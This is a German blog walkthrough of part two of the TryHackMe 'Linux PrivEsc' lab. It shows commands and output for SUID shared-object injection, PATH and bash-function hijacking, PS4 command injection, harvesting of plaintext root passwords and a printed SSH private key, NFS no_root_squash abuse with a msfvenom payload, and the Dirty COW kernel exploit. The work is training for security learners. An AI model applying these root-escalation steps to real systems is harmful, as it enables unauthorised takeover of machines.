Weiter geht es mit Teil 2 des Linux PrivEsc Raumes. Teil 1 könnt ihr hier nachlesen.

Task 11 SUID / SGID Executables – Known Exploits

In diesem und den folgenden Tasks geht es um Set User ID und Set Group ID. Eine sehr gute Erklärung findet man hier.

Wir folgen nun der Anleitung und suchen alle ausführbaren Dateien mit SUID/SGID:

user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 19528 Feb 15  2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr  2  2014 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37552 Feb 15  2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudo
-rwxr-sr-x 1 root tty 11000 Jun 17  2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18  2010 /usr/bin/crontab
-rwsr-xr-x 1 root root 32808 Feb 15  2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudoedit
-rwxr-sr-x 1 root shadow 56976 Feb 15  2011 /usr/bin/chage
-rwsr-xr-x 1 root root 43280 Feb 15  2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15  2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15  2011 /usr/bin/chfn
-rwxr-sr-x 1 root tty 12000 Jan 25  2011 /usr/bin/wall
-rwsr-sr-x 1 root staff 9861 May 14  2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14  2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13  2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15  2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14  2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14  2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25  2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15  2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25  2011 /bin/umount
-rwxr-sr-x 1 root shadow 31864 Oct 17  2011 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 94992 Dec 13  2014 /sbin/mount.nfs
user@debian:~$

HIer erkennen wir die SUID/GUID an dem „s“ in der Spalte für die Rechte.

Wir sollen usn also auf XXX konzentrieren und einen Exploit dafür finden. Nach einer kurzen Google SUche finden wir auch einen Eintrag auf der Exploit Database.

Praktischerweise ist der Exploit schon auf der Machine hinterlegt und wir müssen nur folgendes eingeben, um Root zu bekommen:

/home/user/tools/suid/exim/cve-2016-1531.sh

Frage 1:
Read and follow along with the above.

Antwort 1:
Keine Antwort benötigt.

Task 12 SUID / SGID Executables – Shared Object Injection

Die ausführbare Datei /usr/local/bin/suid-so ist anfällig für Shared Object injection. Wir führen sie also aus und sehen einen Statusbalken:

user@debian:~$ /usr/local/bin/suid-so
Calculating something, please wait...
[=====================================================================>] 99 %
Done.
user@debian:~$

Wir schauen uns die Datei und ihre Prozesse genauer an, In diesem Beispiel suchen wir schon speziell nach misconfigurations, indem wir uns anzeigen lassen auf welche Verzeichnisse die Datei zugreifen will, die nicht existieren:

user@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
user@debian:~$

HIer sehen wir, dass die Datei auf /home/user/.config/libcalc.so zugreifen will, die Datei jedoch nicht existiert. Das können wir ausnutzen, da wir Schreibrechte in unserem eigenem Verzeichnis haben. Wir erstellen zuerst das /.config Verzeichnis:

mkdir /home/user/.config

Anschließend sollen wir Code kompilieren, dieser ist praktischerweise schon auf dem Ziel vorhanden. Der Code soll eine Bash Shell öffnen, gucken wir ihn uns aber vorher mal an:

user@debian:~$ cat /home/user/tools/suid/libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}
user@debian:~$

Simple Bash Shell, die uns über /usr/local/bin/suid-so Root Zugriff gewährt. Folgen wir also weiter der Anleitung und kompilieren den Code in ein shared object, auf das suid-so zugreifen will:

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

Wenn wir jetzt /usr/local/bin/suid-so wieder ausführen erhalten wir anstelle des Ladebalkens eine Root Shell:

user@debian:~$ /usr/local/bin/suid-so
Calculating something, please wait...
bash-4.1# whoami
root
bash-4.1#

Frage 1:
Read and follow along with the above.

Antwort 1:
Keine Antwort benötigt.

Task 13 SUID / SGID Executables – Environment Variables

Die ausführbare Datei /usr/local/bin/suid-env kann ausgenutzt werden, da sie die Umgebungsvariable PATH des Benutzers erbt und versucht, Programme ohne Angabe eines kompletten Pfades auszuführen.

Wir folgen der Anleitung und führen die Datei aus:

user@debian:~$ /usr/local/bin/suid-env
[....] Starting web server: apache2httpd (pid 1617) already running
. ok 
user@debian:~$

Die Datei greift also auf eine Weise auf den apache2 Server zu. Untersuchen wir das mit strings genauer:

user@debian:~$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start
user@debian:~$

Die Zeile „service apache2 start“ zeigt an, dass versucht wird apache2 über „service“ zu starten. Der volle Pfad zur service Datei (/usr/sbin/service) wird dafür aber nicht genutzt.

Wie im vorherigen Task müssen wir wieder Code kompilieren. Auch hier schauen wir ihn uns zuerst an:

user@debian:~$ cat /home/user/tools/suid/service.c
int main() {
        setuid(0);
        system("/bin/bash -p");
}
user@debian:~$

Kompilieren wir also den Code in eine Datei namens „service“ und starten suid-env mit vorangestellem neuen Pfad unserer service Datei, um so den Verzeichnispfad zu simulieren:

user@debian:~$ gcc -o service /home/user/tools/suid/service.c
user@debian:~$ PATH=.:$PATH /usr/local/bin/suid-env
root@debian:~# whoami
root
root@debian:~#

Frage 1:
Read and follow along with the above.

Antwort 1:
Keine Antwort benötigt.

Task 14 SUID / SGID Executables – Abusing Shell Features (#1)

HIer gebrauchen wir /usr/local/bin/suid-env2. Die Datei ist der aus dem vorherigen Task ähnlich, nur greift diese auf den kompletten Pfad der service Datei zu. Das kontrollieren wir wieder mit strings:

user@debian:~$ strings /usr/local/bin/suid-env2
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
/usr/sbin/service apache2 start
user@debian:~$

HIer sehen wir den kompletten Pfad zu service.

In den Bash-Versionen unter 4.2-048 ist es möglich, Shell-Funktionen mit Namen zu definieren, die Dateipfaden ähneln, und diese Funktionen dann zu exportieren, so dass sie anstelle einer tatsächlichen ausführbaren Datei unter diesem Dateipfad verwendet werden. Kontrollieren wir also die Bash-Version der Machine:

user@debian:~$ /bin/bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
user@debian:~$

Diese Version ist anfällig für unseren kleinen Trick. Erstellen wir also eine Funktion, die dem Dateipfad /usr/sbin/service ähnelt und die uns eine Bash-Shell startet, exportieren diese und starten suid-env2 erneut:

user@debian:~$ function /usr/sbin/service { /bin/bash -p; }
user@debian:~$ export -f /usr/sbin/service
user@debian:~$ /usr/local/bin/suid-env2
root@debian:~# whoami
root
root@debian:~#

Frage 1:
Read and follow along with the above.

Antwort 1:
Keine Antwort benötigt.

Task 15 SUID / SGID Executables – Abusing Shell Features (#2)

Zu Beginn gleich der Hinweis, dass dies nicht bei Bash Versionen ab 4.4 funktioniert.

Im Debugging-Modus verwendet Bash die Umgebungsvariable PS4, um eine zusätzliche Eingabeaufforderung für Debugging-Anweisungen anzuzeigen.

Wir starten die ausführbare Datei /usr/local/bin/suid-env2 mit aktiviertem Bash-Debugging und setzen die Variable PS4 auf einen eingebetteten Befehl, der eine SUID-Version von /bin/bash erzeugt:

user@debian:~$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
/usr/sbin/service apache2 start
basename /usr/sbin/service
VERSION='service ver. 0.91-ubuntu1'
basename /usr/sbin/service
USAGE='Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ]'
SERVICE=
ACTION=
SERVICEDIR=/etc/init.d
OPTIONS=
'[' 2 -eq 0 ']'
cd /
'[' 2 -gt 0 ']'
case "${1}" in
'[' -z '' -a 2 -eq 1 -a apache2 = --status-all ']'
'[' 2 -eq 2 -a start = --full-restart ']'
'[' -z '' ']'
SERVICE=apache2
shift
'[' 1 -gt 0 ']'
case "${1}" in
'[' -z apache2 -a 1 -eq 1 -a start = --status-all ']'
'[' 1 -eq 2 -a '' = --full-restart ']'
'[' -z apache2 ']'
'[' -z '' ']'
ACTION=start
shift
'[' 0 -gt 0 ']'
'[' -r /etc/init/apache2.conf ']'
'[' -x /etc/init.d/apache2 ']'
exec env -i LANG= PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin TERM=dumb /etc/init.d/apache2 start
Starting web server: apache2httpd (pid 1617) already running
.
user@debian:~$

Danach führen wir /tmp/rootbash mit -p aus, um Root-Zugriff zu erhalten:

user@debian:~$ /tmp/rootbash -p
rootbash-4.1# whoami
root
rootbash-4.1#

Frage 1:
Read and follow along with the above.

Antwort 1:
Keine Antwort benötigt.

Task 16 Passwords & Keys – History Files

Manche Benutzer tippen versehentlich ihr Passwort in die Kommandozeile, anstelle in die Passwortzeile. Dies kann von Logfiles gespeichert werden. Wir lassen uns den Inhalt des Logs anzeigen:

cat ~/.*history | less
ls -al
cat .bash_history 
ls -al
mysql -h somehost.local -uroot -ppassword123
exit
cd /tmp
clear
ifconfig
netstat -antp
nano myvpn.ovpn 
ls
whoami
exit
whoami
exit
whoami
exit
whoami
rm /tmp/rootbash
exit
identify


~
~
~
(END)

Hier sehen wir, dass der Benutzer „root“ sich in MySQL einloggen wollte. Sein Passwort lautet „password123“. Wir wechseln jetzt den Benutzer auf „root“:

user@debian:~$ su root
Password: 
root@debian:/home/user# whoami
root
root@debian:/home/user#

Frage 1:
What is the full mysql command the user executed?

Antwort 1:
mysql -h somehost.local -uroot -ppassword123

Task 17 Passwords & Keys – Config Files

Config Dateien erhalten Passwörter oft in einfachem Text oder in leicht umkehrbahren Verschlüsselungen. Wir schauen uns das user Verzeichnis an:

user@debian:~$ ls /home/user
dasfafq  myvpn.ovpn  ql -h somehost.local -uroot -ppassword123?OB?OB?OB?OB?OB?OB?OB?OB?OB?OB?OB?OB?OB?OB?OB  service  tools
user@debian:~$

Wir finden eine OpenVPN Konfigurations-Datei und schauen uns deren Inhalt genauer an:

user@debian:~$ cat /home/user/myvpn.ovpn
client
dev tun
proto udp
remote 10.10.10.10 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
tls-client
remote-cert-tls server
auth-user-pass /etc/openvpn/auth.txt
comp-lzo
verb 1
reneg-sec 0

user@debian:~$

Hier finden wir scheinbar den Verweis auf eine Passwort-Datei. Diese lassen wir uns ausgeben:

user@debian:~$ cat /etc/openvpn/auth.txt
root
password123
user@debian:~$

Und tatsächlich finden wir hier die Zugangsdaten für den Root-User, ganz unverschlüsselt.

user@debian:~$ su root
Password: 
root@debian:/home/user# whoami
root
root@debian:/home/user#

Frage 1:
What file did you find the root user’s credentials in?   

Antwort 1:
/etc/openvpn/auth.txt

Task 18 Passwords & Keys – SSH Keys

Manchmal erstellen Benutzer Sicherungskopien von wichtigen Dateien, versäumen es aber, diese mit den richtigen Berechtigungen zu sichern.

Wir gucken nun nach versteckten Dateien und Verzeichnissen im Root-Verzeichnis:

user@debian:~$ ls -la /
total 96
drwxr-xr-x 22 root root  4096 Aug 25  2019 .
drwxr-xr-x 22 root root  4096 Aug 25  2019 ..
drwxr-xr-x  2 root root  4096 Aug 25  2019 bin
drwxr-xr-x  3 root root  4096 May 12  2017 boot
drwxr-xr-x 12 root root  2820 Jul  3 09:53 dev
drwxr-xr-x 67 root root  4096 Jul  3 11:09 etc
drwxr-xr-x  3 root root  4096 May 15  2017 home
lrwxrwxrwx  1 root root    30 May 12  2017 initrd.img -> boot/initrd.img-2.6.32-5-amd64
drwxr-xr-x 12 root root 12288 May 14  2017 lib
lrwxrwxrwx  1 root root     4 May 12  2017 lib64 -> /lib
drwx------  2 root root 16384 May 12  2017 lost+found
drwxr-xr-x  3 root root  4096 May 12  2017 media
drwxr-xr-x  2 root root  4096 Jun 11  2014 mnt
drwxr-xr-x  2 root root  4096 May 12  2017 opt
dr-xr-xr-x 96 root root     0 Jul  3 09:51 proc
drwx------  5 root root  4096 May 15  2020 root
drwxr-xr-x  2 root root  4096 May 13  2017 sbin
drwxr-xr-x  2 root root  4096 Jul 21  2010 selinux
drwxr-xr-x  2 root root  4096 May 12  2017 srv
drwxr-xr-x  2 root root  4096 Aug 25  2019 .ssh
drwxr-xr-x 13 root root     0 Jul  3 09:51 sys
drwxrwxrwt  2 root root  4096 Jul  3 11:14 tmp
drwxr-xr-x 11 root root  4096 May 13  2017 usr
drwxr-xr-x 14 root root  4096 May 13  2017 var
lrwxrwxrwx  1 root root    27 May 12  2017 vmlinuz -> boot/vmlinuz-2.6.32-5-amd64
user@debian:~$

HIer gibt es ein verstecktes .ssh Verzeichnis (versteckte Dateien und Verzeichnisse erkennt man an dem vorgestellten „.“). Schauen wir uns den Inhalt genauer an:

user@debian:~$ ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 25  2019 root_key
user@debian:~$

WIr finden eine Datei namens root_key. Der Inhalt dieser Datei zeigt, dass es sich um einen privaten SSH-Schlüssel handelt. Der Name der Datei lässt vermuten, dass sie für den Benutzer root bestimmt ist.

user@debian:~$ cat /.ssh/root_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3IIf6Wczcdm38MZ9+QADSYq9FfKfwj0mJaUteyJHWHZ3/GNm
gLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpExl
p4oSmTxYnO0LDcsezwNhBZn0kljtGu9p+dmmKbk40W4SWlTvU1LcEHRr6RgWMgQo
OHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HD
eV9G5JrjnVrDqSjhysUANmUTjUCTSsofUwlum+pU/dl9YCkXJRp7Hgy/QkFKpFET
Z36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAoIBAQDDWdSDppYA6uz2
NiMsEULYSD0z0HqQTjQZbbhZOgkS6gFqa3VH2OCm6o8xSghdCB3Jvxk+i8bBI5bZ
YaLGH1boX6UArZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+
5JNyccuvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244el
WUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPShXBEwP1VkF/2FFPvwi1JCCMUGS27avN7
VDFru8hDPCCmE3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLyYZ4N7
6JoPCYFxAoGBAPi0ALpmNz17iFClfIqDrunUy8JT4aFxl0kQ5y9rKeFwNu50nTIW
1X+343539fKIcuPB0JY9ZkO9d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNy3K
824ihKlQVDC9eYezWWs2pqZk/AqO2IHSlzL4v0T0GyzOsKJH6NGTvYhrAoGBAOL6
Wg07OXE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzc
U7LXiuDNcl5u+Pihbv73rPNZOsixkklb5t3Jg1OcvvYcL6hMRwLL4iqG8YDBmlK1
Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIKFJSSt5Cu2GxIH51Zi
SXeaH906XF132aeU4V83ZGFVnN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDp+tYi/GV
d+oc5YlWXlE9bAvC+3nw8P+XPoKRfwPfUOXp46lf6O8zYQZgj3r+0XLd6JA561Im
jQdJGEg9u81GI9jm2D60xHFFAoGAPFatRcMuvAeFAl6t4njWnSUPVwbelhTDIyfa
871GglRskHslSskaA7U6I9QmXxIqnL29ild+VdCHzM7XZNEVfrY8xdw8okmCR/ok
X2VIghuzMB3CFY1hez7T+tYwsTfGXKJP4wqEMsYntCoa9p4QYA+7I+LhkbEm7xk4
CLzB1T0CgYB2Ijb2DpcWlxjX08JRVi8+R7T2Fhh4L5FuykcDeZm1OvYeCML32EfN
Whp/Mr5B5GDmMHBRtKaiLS8/NRAokiibsCmMzQegmfipo+35DNTW66DDq47RFgR4
LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiaWNi7t9UNyayRmwejI6phSw==
-----END RSA PRIVATE KEY-----
user@debian:~$

Wir kopieren den Inhalt nun auf unseren Rechner und erstellen eine neue root_key Datei. Dieser geben wir noch die entsprechenden Rechte und benutzen sie für eine SSH-Verbindung: 

┌──(user㉿kali)-[~]
└─$ nano root_key    
                                                                                                                                                                 
┌──(user㉿kali)-[~]
└─$ chmod 600 root_key  
                                                                                                                                                                 
┌──(user㉿kali)-[~]
└─$ ssh -i root_key root@10.10.128.182
Unable to negotiate with 10.10.128.182 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

Hier sieht man wieder denselben Fehler, den ich auch in Task 1 beschrieben habe. Ich kann mich nicht ordentlich über SSH mit der TryHackMe Machine verbinden, auch nicht mit dem Workaround aus Task 1. Gehen wir einfach davon aus, dass wir Root-Zugriff haben 🙂

Frage 1:
Read and follow along with the above.

Antwort 1:
Keine Antwort benötigt.

Task 19 NFS

Über NFS erstellte Dateien erben die ID des Remote-Benutzers. Falls der Benutzer root ist und root-Squashing aktiviert ist, wird die ID stattdessen auf den Benutzer „nobody“ gesetzt.
Kontrollieren wir die EInstellungen von NFS:

user@debian:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#

/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)

#/tmp *(rw,sync,insecure,no_subtree_check)

user@debian:~$

Wie wir sehen können, hat /tmp root-Squash deaktiviert.

Hier möchte ich kurz erwähnen, dass alle folgenden Schritte nicht von meinem eigenen Rechner aus funktioniert haben. Das Problem scheinen wohl mehrere Benutzer von TryHackMe zu haben und die Lösung ist den integrierten Kali-Rechner von TryHackME zu benutzen (das finde ich sehr schade). Alle weiteren Schritte in diesem Task finden also auf dem Kali-Rechner statt.

Auf dem Kali-Rechner wechseln wir auf den root-User und erstellen einen Mount-Point, welcher direkt gemounted wird. Hier mounten wir das /tmp Verzeichnis der Ziel-Machine als Laufwerk auf unserem Rechner: 

root@kali:~# mkdir /tmp/nfs
root@kali:~# mount -o rw,vers=2 10.10.128.182:/tmp /tmp/nfs

Nun generieren wir eine Payload und laden diese in das gemountete Verzeichnis. Anschließend machen wir sie ausführbar:

root@kali:~# msfvenom -p linux/x86/exec CMD="bin/bash -p" -f elf -o /tmp/nfs/shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 47 bytes
Final size of elf file: 131 bytes
Saved as: /tmp/nfs/shell.elf
root@kali:~# chmod +xs /tmp/nfs/shell.elf
root@kali:~#

Zurück auf der Machine geben wir folgendes ein, um Root zu bekommen:

/tmp/shell.elf

Frage 1:
What is the name of the option that disables root squashing?

Antwort 1:
no_root_squash

Task 20 Kernel Exploits

Kernel-Exploits können das System in einen instabilen Zustand versetzen, weshalb sie nur als letzter Ausweg einsetzt werden sollten.

WIr führen das Tool Linux Exploit Suggester 2 aus, um mögliche Kernel-Exploits auf dem aktuellen System zu identifizieren:

user@debian:~$ perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl

  #############################
    Linux Exploit Suggester 2
  #############################

  Local Kernel: 2.6.32
  Searching 72 exploits...

  Possible Exploits
  [1] american-sign-language
      CVE-2010-4347
      Source: http://www.securityfocus.com/bid/45408
  [2] can_bcm
      CVE-2010-2959
      Source: http://www.exploit-db.com/exploits/14814
  [3] dirty_cow
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
  [4] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [5] half_nelson1
      Alt: econet       CVE-2010-3848
      Source: http://www.exploit-db.com/exploits/17787
  [6] half_nelson2
      Alt: econet       CVE-2010-3850
      Source: http://www.exploit-db.com/exploits/17787
  [7] half_nelson3
      Alt: econet       CVE-2010-4073
      Source: http://www.exploit-db.com/exploits/17787
  [8] msr
      CVE-2013-0268
      Source: http://www.exploit-db.com/exploits/27297
  [9] pktcdvd
      CVE-2010-3437
      Source: http://www.exploit-db.com/exploits/15150
  [10] ptrace_kmod2
      Alt: ia32syscall,robert_you_suck       CVE-2010-3301
      Source: http://www.exploit-db.com/exploits/15023
  [11] rawmodePTY
      CVE-2014-0196
      Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
  [12] rds
      CVE-2010-3904
      Source: http://www.exploit-db.com/exploits/15285
  [13] reiserfs
      CVE-2010-1146
      Source: http://www.exploit-db.com/exploits/12130
  [14] video4linux
      CVE-2010-3081
      Source: http://www.exploit-db.com/exploits/15024

user@debian:~$

Der Linux-Kernel-Exploit „Dirty COW“ wird aufgeführt. Den COde hierfür finden wir bereits auf dem System.
Er ersetzt die SUID-Datei /usr/bin/passwd durch eine, die eine Shell erzeugt.

Wir kompilieren den Code und führen ihn aus:

user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
user@debian:~$ ./c0w
                                
   (___)                                   
   (o o)_____/                             
    @@ `     \                            
     \ ____, //usr/bin/passwd                          
     //    //                              
    ^^    ^^                               
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 3eaf0000

madvise 0

ptrace 0

user@debian:~$

Danach starten wir /usr/bin/passwd und erhalten Root:

user@debian:~$ /usr/bin/passwd
root@debian:/home/user# whoami
root
root@debian:/home/user#

Frage 1:
Read and follow along with the above.

Antwort 1:
Keine Antwort benötigt.

Task 21 Privilege Escalation Scripts

Several tools have been written which help find potential privilege escalations on Linux. Three of these tools have been included on the Debian VM in the following directory: /home/user/tools/privesc-scripts

Gucken wir doch mal, um welche Scripts es sich handelt:

user@debian:~$ cd /home/user/tools/privesc-scripts
user@debian:~/tools/privesc-scripts$ ls
LinEnum.sh  linpeas.sh  lse.sh
user@debian:~/tools/privesc-scripts$

LinEnum. sh haben wir ja schon früher kennengelernt. linpeas.sh und lse.sh sind neu und werden wir in Zukunft näher betrachten!

Frage 1:
Experiment with all three tools, running them with different options. Do all of them identify the techniques used in this room?

Antwort 1:
Keine Antwort benötigt.

Das war es auch mit dem zweiten Teil für Linux PrivEsc. Ich hoffe, Ihr hattet SPaß und habt etwas gelernt! Wir sehen uns im nächsten Raum!